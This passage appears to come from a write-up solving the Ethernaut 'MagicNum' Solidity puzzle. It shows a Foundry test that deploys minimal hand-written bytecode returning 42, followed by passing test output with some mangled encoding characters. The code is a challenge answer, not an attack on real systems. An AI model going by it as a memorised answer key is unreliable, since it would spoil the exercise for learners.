    bytes memory bytecode = hex"69602a60005260206000f3600052600a6016f3";
    assembly {
        solver := create(0, add(bytecode, 0x20), 0x13)//The first 32 bytes of the bytecode are skipped because they define the length of the array. However, in this case, the bytecode is only 19 bytes, and the length of the datatype is already predefined.
    }
    require(solver != address(0), "contract solver deployment failed");
    magicnum.setSolver(solver);
    (bool success, bytes memory data) = solver.staticcall("");
    require(success, "call to solver failed");
    uint256 result = abi.decode(data, (uint256));
    console.log("result: ", result);
    require(result == 42, "solver did not return 42");
    vm.stopPrank();
}
π Test Outputβ
[PASS] test_attack() (gas: 72019)
Logs:
  result:  42
Traces:
  MagicNumTest::test_attack()
    ββ create() -> contract deployed at 0x959...
    ββ MagicNum::setSolver()
    ββ staticcall to solver -> returned 42
    ββ console.log -> "result: 42"
β Ready for Level 20 β coming soon!